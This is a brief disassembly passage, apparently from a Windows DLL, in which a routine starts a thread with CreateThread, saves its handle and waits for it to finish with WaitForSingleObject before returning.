xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x18007d710], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x38
ret